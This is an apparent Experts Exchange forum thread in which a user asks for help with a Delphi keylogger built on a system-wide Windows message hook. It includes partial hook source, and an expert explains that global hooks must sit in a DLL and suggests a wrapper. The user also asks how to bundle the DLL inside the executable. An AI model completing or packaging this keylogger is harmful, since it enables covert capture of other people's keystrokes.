Link to home
Start Free TrialLog in
Avatar of deathman5
deathman5

asked on

Code Error, Not Skipping If Statment

whats wrong with this code? it used to be in a dll and it was working perfectly. now I tried putting it in a Unit. it stoped working, after trying many times I noticed it isnt skipping the line
if (tagMSG(Ptr(lParam)^).Message = WM_KEYUP) or (tagMSG(Ptr(lParam)^).Message = WM_KEYDOWN) then begin
I tried to know what was
tagMSG(Ptr(lParam)^).Message
by saving it to a file I got in the file
512

please help me, why isnt it working normally, its a keylogger. when I click it must get the keys and log them....
please help!!!!
[CODE]
unit Unit2;

interface

uses
Windows,Forms, Dialogs,
Messages,
SysUtils;

type
TForm2 = class(TForm)
private
{ Private declarations }
public
procedure StartTheHook();
procedure StopTheHook();
end;

var
Form2: TForm2;
TheHookHandle: HHOOK;
FF: TextFile;
FileName: string;

implementation

{$R *.dfm}
function TheHookProc(Code : integer; wParam : DWORD; lParam : DWORD): longint; stdcall;
var
KeyState: TKeyBoardState;
VirtualKey: byte;
ScanCode: byte;
AChar: array[0..1] of Char;
buf: string;
begin
result := 0;
if (Code = HC_ACTION) then begin
if (tagMSG(Ptr(lParam)^).Message = WM_KEYUP) or (tagMSG(Ptr(lParam)^).Message = WM_KEYDOWN) then begin
// record UP/DOWN state
if (tagMSG(Ptr(lParam)^).Message = WM_KEYUP) then exit
else ;

...
[/CODE]
ASKER CERTIFIED SOLUTION
Avatar of Russell Libby
Russell Libby
Flag of United States of America image

Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial
Avatar of deathman5
deathman5

ASKER

remember it used to %100 great in a dll
but I want to put it in an unit.... how to do that?
do u need anything else.
the prob. I think is its not skipping the if statment. because I placed ShowMessage('d'); after the
if (tagMSG(Ptr(lParam)^).Message = WM_KEYUP) then exit
else ;

but I didnt see the Message...



procedure TForm2.StartTheHook();// stdcall;
begin
  if (TheHookHandle = 0) then begin

    // set the hook
    TheHookHandle := SetWindowsHookEx(WH_GETMESSAGE, @TheHookProc, hInstance, 0);
  end;
end;

procedure TForm2.StopTheHook();// stdcall;
begin
  if (TheHookHandle <> 0) then begin
    // Remove our hook and clear our hook handle
    if (UnhookWindowsHookEx(TheHookHandle) <> FALSE) then begin
      TheHookHandle := 0;
    end;

  end;

end;
Please re-read my comment again:

---
I would be willing to verture that its part of a hook procedure though, and that the hook you are trying to set it for is system wide. Meaning, if this is the case, then it MUST be in a dll, and not in the application.
---

SetWindowsHookEx(WH_GETMESSAGE, @TheHookProc, hInstance, 0);

You are passing 0 for the thread id, meaning you are attempting to hook all threads on the desktop, which means this MUST be implemented in a dll, and NOT an application.

Russell
mmm
but I need to put it in a unit
any ways? change the way of calling or something?
is it possible?

Sorry, the code for global hooks must be compiled into a dll...

One option that you have though, is to:

1.) Compile the hooking code into a dll
2.) Write a simple wrapper unit that calls the functions in your hooking dll.

If your hook function needs to interact with the application that set the hook (message evaluation, specialized code handling, etc) then you will have to code some interprocessing mecahnism so the application<->dll can interact with each other; eg windows messaging, shared memory, or some other similar IPC mechanism.

Regards,
Russell

okey, then
In VB, when u write a dll, u write it in Class Modules and Modules
In Delphi there is a place for dll
In Vb, if u have the dll code, u can add it to the application, so the exe has the dll inside it, so it doesnt need any reference and any dll from outside.
is it possible in Delphi to add the dll code in the exe someplace???
SOLUTION
Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial